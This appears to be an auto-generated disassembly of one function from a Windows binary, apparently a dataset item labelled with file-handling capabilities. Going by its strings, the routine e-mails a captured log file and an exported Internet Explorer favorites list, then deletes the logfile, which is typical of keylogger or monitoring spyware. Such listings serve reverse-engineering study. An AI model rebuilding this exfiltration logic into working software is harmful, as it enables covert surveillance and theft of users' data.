Function at 0x40608b
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes

Disassembly:
mov eax, 0x414662
call fcn.004097a4
sub esp, 0x4c8
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
push esi
push edi
je 0x4060b8
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4060b8
xor eax, eax
jmp 0x406456
lea ecx, [ebp - 0x1c]
call fcn.00405067
and dword [ebp - 4], 0
lea ecx, [ebp - 0xc4]
call fcn.0040766f
push dword [0x41d0e8]
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 1
call fcn.00407a4a
push dword [0x41d0e4]
lea ecx, [ebp - 0xc4]
push 2
call fcn.00407aff
push 0x418754
push 1
lea ecx, [ebp - 0xc4]
call fcn.00407aff
xor eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x40
pop ecx
mov byte [ebp - 0x1c8], 0
lea edi, [ebp - 0x1c7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
test ebx, ebx
mov byte [ebp - 0x3d0], 0
pop ecx
lea edi, [ebp - 0x3cf]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x4061d8
lea eax, [ebp - 0x3d0]
push eax
push 0x104
call esi
call fcn.0040a00c
push 0x64
cdq
pop ecx
idiv ecx
push edx
call fcn.0040a00c
push 0x64
pop ecx
cdq
idiv ecx
lea eax, [ebp - 0x3d0]
push edx
push eax
lea eax, [ebp - 0x1c8]
push str._s_d__d
push eax
call fcn.0040996a
lea eax, [ebp - 0x1c8]
push eax
push ebx
call fcn.0040461d
add esp, 0x1c
test eax, eax
je 0x4061bf
lea eax, [ebp - 0x1c8]
push eax
push 8
lea ecx, [ebp - 0xc4]
call fcn.00407aff
push str.LogFile.log
push 9
lea ecx, [ebp - 0xc4]
call fcn.00407aff
jmp 0x4061d8
push str.Unable_to_open_logfile_while_sending_e_mail
push str.ERROR
call dword [0x41d0fc]
pop ecx
pop ecx
mov byte [ebp - 0x1c8], 0
xor eax, eax
push 0x40
mov byte [ebp - 0x2cc], 0
pop ecx
lea edi, [ebp - 0x2cb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x41d0cc]
test al, 0x20
je 0x40625e
test al, 0x40
je 0x40625e
lea eax, [ebp - 0x4d4]
push eax
push 0x104
call esi
lea eax, [ebp - 0x2cc]
push eax
push 0
push str.ief_
lea eax, [ebp - 0x4d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x2cc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.004053c7
test eax, eax
je 0x40625e
lea eax, [ebp - 0x2cc]
push eax
push 0xa
lea ecx, [ebp - 0xc4]
call fcn.00407aff
push str.IE_Favorites.html
push 0xb
lea ecx, [ebp - 0xc4]
call fcn.00407aff
push dword [ebp + 0x10]
lea ecx, [ebp - 0xc4]
push 4
call fcn.00407aff
push dword [ebp + 0x18]
lea ecx, [ebp - 0xc4]
push 5
call fcn.00407aff
push dword [ebp + 0x18]
lea ecx, [ebp - 0x1c]
push dword [ebp + 0x14]
call fcn.004050fe
lea ecx, [ebp - 0x1c]
call fcn.00405160
push eax
push 6
lea ecx, [ebp - 0xc4]
call fcn.00407b5e
mov eax, dword [0x41d0ec]
xor esi, esi
mov dword [ebp - 0x10], esi
jmp 0x4062b7
inc esi
cmp byte [eax], 0
mov dword [ebp - 0x10], esi
je 0x4062c4
push 0x3b
push eax
call fcn.00409c92
inc eax
pop ecx
pop ecx
jne 0x4062ae
mov eax, esi
shl eax, 2
push eax
call fcn.00409a0d
mov edi, dword [0x41d0ec]
xor ebx, ebx
test esi, esi
pop ecx
mov dword [ebp - 0x14], eax
jle 0x406322
push 0x3b
push edi
call fcn.00409c92
mov esi, eax
push 0x104
inc esi
call fcn.00409a0d
mov ecx, dword [ebp - 0x14]
mov dword [ecx + ebx*4], eax
mov ecx, esi
sub ecx, edi
dec ecx
push ecx
push edi
push eax
call fcn.00409d0d
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + ebx*4]
sub eax, edi
add esp, 0x18
inc ebx
cmp ebx, dword [ebp - 0x10]
mov byte [eax + esi - 1], 0
mov edi, esi
jl 0x4062df
mov esi, dword [ebp - 0x10]
lea ecx, [ebp - 0x30]
call fcn.004076f0
xor ebx, ebx
test esi, esi
mov byte [ebp - 4], 2
jle 0x406364
mov eax, dword [ebp - 0x14]
push dword [eax + ebx*4]
lea ecx, [ebp - 0xc4]
push 0
call fcn.00407aff
push 1
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x30]
call fcn.00407ecb
test eax, eax
mov dword [ebp - 0x10], eax
je 0x406364
inc ebx
cmp ebx, esi
jl 0x406334
xor edi, edi
test esi, esi
jle 0x40637b
mov eax, dword [ebp - 0x14]
push dword [eax + edi*4]
call fcn.00409a12
inc edi
cmp edi, esi
pop ecx
jl 0x40636a
mov al, byte [0x41d0cc]
test al, 0x20
je 0x406395
test al, 0x40
je 0x406395
lea eax, [ebp - 0x2cc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [ebp - 0x1c8], 0
je 0x4063ba
sub esp, 0x1c
lea eax, [ebp - 0x1c8]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.00404d44
call fcn.0040473a
add esp, 0x1c
cmp ebx, esi
jne 0x4063e1
cmp dword [ebp + 0xc], 0
je 0x4063dd
push dword [ebp - 0x10]
lea ecx, [ebp - 0x30]
call fcn.00407dcf
push eax
push str.MAILERROR
call dword [0x41d0fc]
pop ecx
pop ecx
xor esi, esi
jmp 0x40642d
test byte [0x41d0cc], 4
je 0x40642a
cmp dword [ebp + 8], 0
je 0x40642a
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [ebp + 8]
call fcn.00404d44
call fcn.0040473a
add esp, 0x1c
test eax, eax
jne 0x406418
push str.Delete_logfile_failed
push str.ERROR
jmp 0x406422
push str.Log_file_sent_by_e_mail
push str.E_MAIL
call dword [0x41d0fc]
pop ecx
pop ecx
xor esi, esi
inc esi
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 1
call fcn.00407ea8
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 0
call fcn.00407a3f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00405074
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret